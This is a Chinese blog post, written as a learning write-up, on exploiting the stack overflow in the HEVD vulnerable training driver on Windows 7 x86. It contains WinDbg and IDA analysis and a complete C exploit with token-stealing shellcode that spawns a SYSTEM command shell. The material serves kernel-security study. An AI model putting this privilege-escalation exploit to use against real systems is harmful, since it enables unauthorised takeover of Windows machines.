Windows内核漏洞学习-栈溢出(无GS)

0x00: 前言

在上一节中,将HEVD的环境配置完成,接下来进行内核漏洞的调试复现。为什么首先做栈溢出呢,因为我以前学过一些Pwn知识,栈溢出算是最简单的漏洞了。使用的环境为:

  • Windows7 x86 虚拟机系统
  • 双机调试环境
  • HEVD靶场环境
0x01:漏洞原理
栈溢出原理

栈溢出,即在局部变量拷贝时,没有控制好拷贝进局部变量的长度。而局部变量又是保存在栈中的,一旦长度过长,就会导致数据溢出淹没栈环境,覆盖EBP甚至返回地址。

HEVD漏洞原理分析

给出实验漏洞代码。这里安全和不安全的操作都对比给出了,区别就在于一个按照内核局部变量的大小规定拷贝数据大小,一个直接按照用户层给定的size来决定拷贝的大小,后者显然是不安全的。

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        //安全的拷贝
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Stack Overflow\n");
		//不安全的拷贝
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}
0x02:漏洞分析

通过在IDA中分析分发函数,可以看到该漏洞对应的IOCTL码为0x222003

在这里插入图片描述

在IDA中[编译]-[段]-[重新设置基址]可以修改基址,这样就可以找到我们想要下断的地点。这里的基址可以在WinDbg里查看。

kd> lm m H*
Browse full module list
start    end        module name
8421f000 84256000   hal        (deferred)             
88a63000 88a6b000   hwpolicy   (deferred)             
8aa00000 8aa85000   HTTP       (deferred)             
8ab49000 8ab51000   HEVD       (private pdb symbols) 

在这里插入图片描述

在函数 TriggerStackOverflow 函数入口处和memcpy处下断点。

在这里插入图片描述

kd> bu 8ab4d62a
kd> bu 8ab4d6b9

接下来就开始进行调试观察,首先断在程序的入口处。可以看到返回地址为 8ab4d718,ebp为8b607ad0

Breakpoint 0 hit
HEVD!TriggerStackOverflow:
8ab4d62a 680c080000      push    80Ch
kd> k //查看线程信息
 # ChildEBP RetAddr  
00 8b607ad0 8ab4d718 HEVD!TriggerStackOverflow

继续执行断在memcpy前

kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow+0x8f:
8ab4d6b9 e81ccbffff      call    HEVD!memcpy (8ab4a1da)
kd> dd esp //查看当前堆栈,结合IDA中汇编代码可以知道这里  8b6072b4 即为 buffer
8b607274  8b6072b4 00360a58 00000824 8ab4e5be
8b607284  8ab4e31a 00000800 8ab4e338 8b6072b4
8b607294  8ab4e3a2 00000824 8ab4e3be 00360a58
8b6072a4  01d4b2cd 875e5148 875e51b8 8ab4eda2
8b6072b4  00000000 00000000 00000000 00000000
8b6072c4  00000000 00000000 00000000 00000000
8b6072d4  00000000 00000000 00000000 00000000
8b6072e4  00000000 00000000 00000000 00000000
kd> dd 8b6072b4+0x7f0 //查看buffer末尾,看出buffer长度为0x800
8b607aa4  00000000 00000000 00000000 00000000
8b607ab4  8ab4eda2 8b6072a4 00000000 8b607bc0
8b607ac4  8ab4a080 000079c5 00000000 8b607ae0
8b607ad4  0edddcdb 00360a58 00000824 8b607afc
8b607ae4  8ab4e185 875e5148 875e51b8 87bd2458
8b607af4  87cf2148 00000000 8b607b14 83e44593
8b607b04  87cf2148 875e5148 875e5148 87cf2148
8b607b14  8b607b34 8403899f 87bd2458 875e5148
kd> k //结合下面 得到当前ebp和返回地址,因此可以看出 buffer距离返回地址的长度为0x820
 # ChildEBP RetAddr  
00 8b607ad0 0edddcdb HEVD!TriggerStackOverflow+0x8f
kd> r
eax=8b6072b4 ebx=8ab4eda2 ecx=00360a58 edx=00000065 esi=00000800 edi=00000000
eip=8ab4d6b9 esp=8b607274 ebp=8b607ad0 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
HEVD!TriggerStackOverflow+0x8f:
8ab4d6b9 e81ccbffff      call    HEVD!memcpy (8ab4a1da)

通过上述的分析,我们得到了buffer距离返回地址的偏移值为0x820;接下来就是通过填充,将返回地址淹没为我们自己的地址。

kd> dd 8b6072b4+0x7f0 //查看buffer,可以看到都被填充了,返回地址被修改为0x1333060
8b607aa4  41414141 41414141 41414141 41414141
8b607ab4  41414141 41414141 41414141 41414141
8b607ac4  41414141 41414141 41414141 41414141
8b607ad4  01333060 00360a58 00000824 8b607afc
8b607ae4  8ab4e185 875e5148 875e51b8 87bd2458
8b607af4  87cf2148 00000000 8b607b14 83e44593
8b607b04  87cf2148 875e5148 875e5148 87cf2148
8b607b14  8b607b34 8403899f 87bd2458 875e5148
kd> r
eax=8b6072b4 ebx=8ab4eda2 ecx=00000000 edx=00000000 esi=00000800 edi=00000000
eip=8ab4d6c1 esp=8b6072a4 ebp=8b607ad0 iopl=0         nv up ei ng nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000282
HEVD!TriggerStackOverflow+0x97:
8ab4d6c1 eb21            jmp     HEVD!TriggerStackOverflow+0xba (8ab4d6e4)
kd> k
 # ChildEBP RetAddr  
00 8b607ad0 01333060 HEVD!TriggerStackOverflow+0x97 
0x3:漏洞利用

虽然项目里有有利用代码,但是这里还是给一下别人写的完整的利用代码。后面再补充学习一下提权的知识。

#include<stdio.h>
#include<windows.h>
#define STACKOVERFLOW 0x222003
/************************************************************************/
/*		        Stack Over flow                                 		*/
/*                 Write by Thunder_J 2019.6                            */
/************************************************************************/

VOID ShellCode()
{
	//__debugbreak();
	__asm
	{
			pop    edi
			pop    esi
			pop    ebx
			pushad
			mov eax, fs:[124h]
			mov eax, [eax + 050h]
			mov ecx, eax
			mov edx, 4

		find_sys_pid :
					 mov eax, [eax + 0b8h]
					 sub eax, 0b8h
					 cmp[eax + 0b4h], edx
					 jnz find_sys_pid

					 mov edx, [eax + 0f8h]
					 mov[ecx + 0f8h], edx
					 popad
					 pop ebp
					 ret 8
	}
}

static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
	char buf[0x824];
	HANDLE hDevice;
	DWORD bReturn = 0;
	//»ñÈ¡¾ä±ú
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
	GENERIC_READ | GENERIC_WRITE,
	FILE_SHARE_READ | FILE_SHARE_WRITE,
	NULL,
	OPEN_EXISTING,
	FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
	NULL
	);

	printf("Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		printf("Failed to get handle...!\n");
		return 0;
	}
	//__debugbreak();
	memset(buf, 'A', 0x824);
	*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;

	// call TriggerStackOverflow()
	printf("Started to over flow...\n");
	//__debugbreak();
	DeviceIoControl(hDevice, STACKOVERFLOW, buf, 0x824,NULL,0,&bReturn,NULL);
	
	printf("Started to Create cmd...\n");
	CreateCmd();
	return 0;
}
明日计划

继续学习内核漏洞

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值